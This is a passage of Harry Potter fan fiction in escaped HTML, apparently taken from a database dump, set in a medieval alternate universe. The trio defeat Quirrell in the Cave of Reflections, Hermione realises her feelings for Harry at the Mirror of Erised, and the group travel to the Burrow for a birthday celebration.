I\'ll check on you\nlater.&quot;&nbsp; With that, the red eyed\nman disapparated.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">After three days of being treated as heroes in\nHogsmeade, Harry, Ron, and Hermione finally left for their mission.&nbsp; Ron had been ecstatic about the treatment\nthey had received, but Harry and Hermione had had enough.&nbsp; &quot;Wasn\'t he the one who was complaining\nabout staying to fight the dragon?&quot; mumbled Hermione as they dragged Ron\naway from the village.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">As the days passed, Hermione spent a good deal\nof the time wondering about her feelings.&nbsp;\nEvery time she sat behind Harry on Firebolt, she felt her legs turn into\njelly and her stomach would start to flip.&nbsp;\nAt the same time, she felt incredibly safe and secure whenever she was\nwith Harry.&nbsp; \'Am I falling for him?\' she\noften wondered.&nbsp; \'How could I?&nbsp; Its just not supposed to happen.\'</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">After journeying through the Ravenclaw hills\nfor about a week and a half, the company finally came across the entrance to\nthe Cave of Reflections.&nbsp; It was built\ninto a mountain near the sea and its entrance was only about as large as a\ndoor.&nbsp; It could have been missed easily\nif they weren\'t being careful.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">When they entered, the first thing they noticed\nwere four large mirrors that blocked their way.&nbsp; &quot;Oh that\'s bloody fantastic,&quot; muttered Ron.&nbsp; &quot;We come all this way only to groom\nourselves.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;No,\nwait,&quot; said Hermione.&nbsp; &quot;There\nmust be some kind of trick.&quot;&nbsp; She\nstudied each of the mirrors carefully.&nbsp;\nShe eventually found something strange about the mirror on the furthest left; while it appeared to be a regular\nmirror, its reflection was missing the entrance to the cave!&nbsp; &quot;Hey guys, come here.&quot;&nbsp; Hermione promptly took a step forward and\nsimply walked through the mirror.&nbsp; Harry\nand Ron followed.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">After walking for some time, the company came\nupon a huge chasm with a thin stone bridge.&nbsp;\nIn her eagerness to get to their goal, Hermione dashed to the bridge.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Hermione,\nwait!&quot; shouted Harry as he ran after her.&nbsp;\nIt was too late.&nbsp; When Hermione\nput her foot on the bridge, she stepped through thin air!&nbsp; With a scream she started falling into the\nchasm.&nbsp; But, before she could fall into\nthe depths of darkness, a hand reached out and grabbed her by the wrist.&nbsp; Hermione looked up and so that she was\nclinging to Harry\'s wrist for dear life.&nbsp;\nShe felt herself go red as he pulled her back up onto the ledge.&nbsp; &quot;Be more careful, OK?&quot; he said.&nbsp;\nHermione nodded mutely as she tried to\nhide her blush and calm her beating heart down.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">\'Oh dear Lord,\nI\'ve really fallen for him\' she thought.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The bridge was an illusion created by a clever\nuse of mirrors and their reflections that were place all around the chasm.&nbsp; After a couple of minutes, the company was\nable to work out where the bridge really was and were able cross with no\nproblem.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">They soon entered the last chamber, only to\nfind someone already there.&nbsp; He was a\nyoung man with dark robes and a large purple turban on his head.&nbsp; &quot;Welcome,&quot; he said.&nbsp; &quot;I was waiting for you three to show\nup.&nbsp; It was becoming rather boring just\nwaiting.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;And who may\nyou be?&quot; asked Ron.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Quirrell,&quot;\nanswered the man.&nbsp; &quot;I would\'ve\ntaken the mirror and delivered it to my master all ready if I hadn\'t been eager\nto meet you.&nbsp; I figure that the deaths\nof two Mage Knights and a Mudblood would be good for my reputation amongst the\nDeath Eaters.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Upon saying this, Quirrell snapped his fingers\nand twelve trolls burst in.&nbsp; &quot;Kill\nthem!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The trolls raised their clubs and sprang onto them.&nbsp; Harry and Ron drew their swords and started\ndeflecting the clubs.&nbsp; Hermione also\nstarted to do the same with her staff.&nbsp;\nShe twirled it around with a certain gracefulness that completely\nconflicted with the way the trolls swung their clubs.&nbsp; Ron used carefully calculated moves to deflect the blows that\nwere being thrown at him.&nbsp; He eventually\ncaught the troll he was fighting off balance and shouted <i>&quot;Wingardium\nLeviosa!&quot;</i>&nbsp; The troll lifted\nabout twenty feet into the air.&nbsp; He then\ndropped it onto another troll, knocking the two out.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry used the trolls\' attacks by using their\nmomentum to swing himself behind them, whereupon he would bash them behind the\nhead with the hilt of his sword.&nbsp; If\nthat wasn\'t enough to knock them out, a good <i>&quot;Stupefy!&quot;</i> would do\nthe job.&nbsp; As he knocked another troll\nout, Harry chanced to notice another troll creeping up behind Hermione who was\nbusy knocking out the one she was fighting.&nbsp;\nHarry shouted <i>&quot;Expelliarmus!&quot;</i>, disarming the troll,\njust when it was about to attack Hermione.&nbsp;\nHearing the spell, Hermione swung her staff around and hit the troll\nright in it\'s throat, knocking it out.&nbsp;\nIn a matter of minutes, all of the trolls were out cold.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Why don\'t\nyou fight yourself, you filthy coward!&quot; shouted Harry.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Very well\nthen,&quot; said Quirrell.&nbsp; He shouted, <i>&quot;Avada\nKedavra!&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Caught by surprise, Harry barely dodged the\ngreen light that issued from Quirrell.&nbsp;\nQuirrell wasn\'t finished.&nbsp; He\nagain shouted, <i>&quot;Avada Kedavra!&quot;</i> before anybody had a chance to\nretaliate.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Quirrell laughed at the sight of Harry,\nHermione, and Ron running from the bolts of green light issued from him.&nbsp; &quot;You can\'t win, Sir Harry Potter.&nbsp; There is no way you can avoid the killing\ncurse forever.&nbsp; <i>Avada Kedavra!</i>&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Harry knew that they couldn\'t keep up dodging\nthe curses forever.&nbsp; Fortunately, he had\nalready come up with a plan, though it was a bit of a risk.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&quot;Avada\nKedavra!&quot;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">This time, Harry didn\'t dodge the curse.&nbsp; Instead, he jumped right in front of it\nholding up a piece of a mirror!&nbsp; The\ngreen light hit the mirror and rebounded onto a shocked Quirrell!</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;NOOOOOOOO!!!!!!&quot;\nscreamed Quirrell as he fell down dead.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; </p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The company finally came up upon the Mirror of\nErised.&nbsp; It was as high as the ceiling\nwith a gold frame.&nbsp; Hermione read the\ninscription written on top of the tall mirror:</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>Erised stra ehru oyt ube cafru oyt on wohsi</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">She was able to figure out what it said fairly\nquickly:</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>I show not your face but your hearts desire</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">\'So this mirror shows your heart\'s desire \' she\nthought.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">She looked toward her side and saw Harry gazing\nat the mirror with a sad look on his face.&nbsp;\n</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Harry, what do you see?&quot; she asked.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;I see my parents,&quot; he said.&nbsp; She remembered his explaining to her that he\nwas an orphan.&nbsp; &quot;I see my father,\nhe looks just like me, only that his eyes are different and he has no\nscar.&nbsp; My mother, she has long red hair\nand the same green eyes as mine.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione felt like comforting him but decided\nagainst it.&nbsp; She then looked into the\nmirror and saw herself and Harry...\'wait a minute?&nbsp; Me and Harry?&nbsp; Side by\nside?&nbsp; This...this is my heart\'s\ndesire?!\'&nbsp; Hermione was shocked by the\nreflection and with a pang to her heart, she realized the truth.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">\'I\'m in love with Harry!\'</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal">&nbsp;</p>\n\n\n\n\n\n\n'),
	(56, 7, '\n\n\n\n\n\n\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Disclaimer: J.K. Rowling\'s stuff.&nbsp; Not mine.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><b>Chapter 7: The House of Weasley</b></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The Return to Hogwarts was very\nuneventful.&nbsp; Since they were journeying\nacross lands they had already traveled across, they were able to make it back\nto the castle in a matter of days.&nbsp; As\nsoon as they arrived, the mirror was taken by Dumbledore and a number of other\nwizards and witches whom seemed interested in examining the mirror in search of\nsomething.&nbsp; That was what was on Ron\'s\nmind as he was walking down the halls with Hermione one day.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;They\'ve examining that thing for a long\ntime now.&nbsp; What is it that they\'re\nsearching for?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;A hint to the location of the remaining\ntwo talismans,&quot; said Hermione.&nbsp;\n&quot;Usually, the Mirror of Erised simply shows your heart\'s\ndesire.&nbsp; But if you look into it with\nthe desire to find something, in this case the remaining two talismans, the\nmirror will show you where to find and what they are.&nbsp; I\'m willing to bet that nobody, not even Dumbledore, actually\nknows what the remaining two talismans are.&nbsp;\nIn fact, I\'m sure that we only needed the mirror as one of the three\ntalismans for the sole purpose of finding the other two.&nbsp; Its those two that are the real key to the\noutcome of this war.&quot;&nbsp; She said all\nthis very quickly.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Ron stared at her, his mouth hanging open.&nbsp; &quot;Why is it that you always know about\nthis kind of stuff when you\'ve only been here for a few months?!&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Honestly, don\'t you ever read?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione rolled her eyes and walked away from\nthe grumbling Ron.&nbsp; She had different\nthings on her mind: namely, her feelings for Harry.&nbsp; \'There is no way that a knight would ever fall in love with a\nlowly farm girl\' she thought sadly.&nbsp; She\ndecided that she was not going to act on her feelings; she would simply stand\nback and watch him find happiness in the arms of some deserving noble lady, no\nmatter how heart breaking it would be for her.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">The following day, Hermione was wandering\naround the Hogwarts ground when a beautiful, snowy white owl flew down to her\nbearing a letter.&nbsp; Hermione smiled at\nthe owl as it landed on her shoulder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Hello Hedwig, do you have a message from\nHarry?&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hedwig nipped Hermione\'s ear affectionately as\nshe took the letter and started reading it.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>Dear Miss Hermione Granger,</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>You have been invited to the celebration of the\n16th birthday of Lady Virginia Weasley.&nbsp;\nThe celebration shall take place in three days at Weasley castle, also\nknown as &quot;the Burrow&quot;.&nbsp; We\nlook forward to your attendance.&nbsp; Please\ncome.</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto"><i>&nbsp;</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:right" align="right"><i>Lord Arthur and\nLady Molly</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:\nauto;text-align:right" align="right"><i>House of\nWeasley</i></p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">Hermione had heard of Lady Virginia: she was\nRon\'s younger sister.&nbsp; She had never met\nher, or any of the Weasleys besides Ron for that matter, and wondered why she\nwould be invited.&nbsp; However, Hermione\nknew how important birthdays were (she herself had turned 17 only a few weeks\nago) and decided to accept the invitation.&nbsp;\nAfter all, she was positive that Harry would be there as well since it\nwas Harry\'s owl that had carried the invitation.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">*&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; *</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Just you\nwait till you meet my family,&quot; said Ron on the day of the\ncelebration.&nbsp; &quot;They\'re a weird\nbunch, especially my brothers.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;What do your\nbrothers do for a living?&quot; asked Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Well lets\nsee now...Bill works for Gringotts bank, Charlie travels around the Hufflepuff\nlands studying dragons, and Percy recently became Prime Minister of the Kingdom\nof Ravenclaw: thank God he\'s out of the Burrow.&nbsp; Oh, and Fred and George, they\'re twins by the way, became court\njesters, much to my mum\'s horror, stupid gits.&nbsp;\nYou may want to be careful around them.&nbsp;\nAnd of course, I\'m a Mage Knight.&quot;&nbsp;\nAt this point they had stepped in front of a fire place.&nbsp; Harry pulled out a jar filled with\nglittering powder.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Is that Floo\nPowder?&quot; asked Hermione.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Nope, its a\npotion for beauty rest,&quot; said Ron with a grin on his face.&nbsp; Hermione sent him a death glare as Harry threw the powder onto the fire.&nbsp; He then shouted &quot;The Burrow!&quot; as\nhe stepped into the flames.&nbsp; He instantly\ndisappeared and was followed by Ron.&nbsp;\nHermione shouted &quot;The Burrow!&quot; as she stepped into the\nflames.&nbsp; After a whole lot of spinning,\nshe tumbled out of another fireplace.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Well, how\nwas your first experience with Floo Powder?&quot; asked Harry as he offered her\nhis hand.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Just\nfantastic,&quot; she said dryly.&nbsp; Her\ninsides did a couple of flips as Harry helped her up.&nbsp;&nbsp;&nbsp; As soon as she was on her feet, Hermione looked around to\nobserve her surroundings.&nbsp; Weasley\nCastle and it\'s surrounding lands were one of the few areas within the Kingdom\nof Gryffindor that was not under Slytherin control.&nbsp; She was standing in a great hall of a rather run down but cozy castle.&nbsp;\nThere were two long tables that ran along the sides of the hall.&nbsp; The center of the room had been cleared out\nto make a dance floor that would be used at the celebration that night.&nbsp; The walls were decorated with scarlet\ntapestries, all with golden lions drawn on them: the symbol of Gryffindor.&nbsp; Hermione looked to her side and saw a number of people with the same red hair as\nRon.</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;Welcome\nHermione,&quot; said a tall, slightly balding man whom could only have been\nLord Arthur.&nbsp; &quot;We\'ve really been\nlooking forward to meeting you.&quot;&nbsp;\nLord Arthur Weasley was none to have a fascination with muggles and\nimmediately took a liking of Hermione.&nbsp;\nHe turned to Harry and said, &quot;Thank you for lending us Hedwig to\ndeliver the invitations.&nbsp; Errol would\nhave collapsed if he were given the job.&quot;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&nbsp;</p>\n\n<p class="MsoNormal" style="mso-margin-top-alt:auto;mso-margin-bottom-alt:auto">&quot;My\npleasure,&quot; said Harry.</p>\n\n<p class="MsoNormal" 